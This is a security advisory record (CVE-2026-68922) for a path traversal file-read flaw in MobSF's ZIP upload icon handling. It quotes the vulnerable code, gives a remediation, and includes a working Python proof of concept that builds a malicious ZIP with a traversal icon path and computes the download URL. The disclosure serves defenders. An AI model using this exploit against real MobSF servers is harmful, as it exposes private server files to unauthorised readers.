CVE-2026-68922: Mobsf Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8j49-mmcx-4mp5",
  "modified" : "2026-08-18T18:01:26Z",
  "published" : "2026-08-18T18:01:26Z",
  "aliases" : [ "CVE-2026-68922" ],
  "summary" : "MobSF Vulnerable to Arbitrary File Read via Path Traversal in ZIP Uploads",
  "details" : "### Summary\nThe `find_icon_path_zip()` function in MobSF does not properly sanitize the `android:icon` attribute extracted from an Android manifest before resolving it as a filesystem path.\n\nAn attacker can supply a malicious `android:icon` value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (`DWD_DIR`). These files can then be retrieved by any authenticated user via the `/download/<filename>` endpoint, provided the file extension is included in `ALLOWED_EXTENSIONS`.\n\n### Details\n```\nelif icon_path.startswith(('res/', '/res/')):\n    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res\n    full_path = os.path.join(res_dir, stripped_relative_path)\n    if os.path.exists(full_path):\n        return full_path\n    full_path += '.png'\n    if os.path.exists(full_path):\n        return full_path\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126\n\nThis code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into `DWD_DIR/<md5>-icon.<ext>`:\n```\nicon_file = find_icon_path_zip(\n        app_dic['md5'],\n        res_path,\n        icon_from_mfst)\n    if icon_file and Path(icon_file).exists():\n        dwd = Path(settings.DWD_DIR)\n        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)\n        copy2(icon_file, out)\n        app_dic['icon_path'] = out.name\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101\n\nBecause the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via:\n`GET /download/<md5>-icon.<ext>`\n\n### PoC\nThe following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):\n```\nimport hashlib\nimport io\nimport zipfile\n\nDEFAULT_HOST = \"http://localhost:8000\"\nDEFAULT_TARGET = \"res/../../../signatures/maltrail-malware-domains.txt\"\n\nMANIFEST_TEMPLATE = \"\"\"\\\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.icontraversal\">\n    <application android:icon=\"{target}\"\n                 android:label=\"PoC App\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n    </application>\n</manifest>\n\"\"\"\n\nMAIN_ACTIVITY = \"\"\"\\\npackage com.poc.icontraversal;\nimport android.app.Activity;\npublic class MainActivity extends Activity {}\n\"\"\"\n\nhost = DEFAULT_HOST\ntarget = DEFAULT_TARGET\nhost = host.rstrip(\"/\")\n\n# crate ZIP\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\"AndroidManifest.xml\", MANIFEST_TEMPLATE.format(target=target))\n    zf.writestr(\"src/com/poc/icontraversal/MainActivity.java\", MAIN_ACTIVITY)\n    zf.writestr(\"res/drawable/placeholder.png\", b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n# compute hash\nzip_bytes = buf.getvalue()\nmd5 = hashlib.md5(zip_bytes).hexdigest()\n\n# write to disk\nout_file = \"poc_icon_traversal.zip\"\nwith open(out_file, \"wb\") as f:\n    f.write(zip_bytes)\n\nimport os\ntarget_suffix = os.path.splitext(target.strip(\"/res\").split(\"/\")[-1])[1]\ndownload_filename = f\"{md5}-icon{target_suffix}\"\n\nprint(f\"[+] ZIP created : {os.path.abspath(out_file)}\")\nprint(f\"[+] Target file : {target}\")\nprint()\nprint(\"[ Step 1 ] Upload the ZIP manually via the MobSF web UI\")\nprint()\nprint(\"[ Step 2 ] Wait for the scan to complete, then browse to:\")\nprint(f\"    {host}/download/{download_filename}\")\n```\n\n\n### Impact\nThis vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in `ALLOWED_EXTENSIONS`. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the `icon_path` field in the scan report (if the target does not exist the path will be empty).\n\nDepending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.\n\n### Remediation\nThis can fixed by using the `is_path_traversal` [function](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/MobSF/utils.py#L716) to validate user input.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mobsf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8j49-mmcx-4mp5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T18:01:26Z",
    "nvd_published_at" : null
  }
}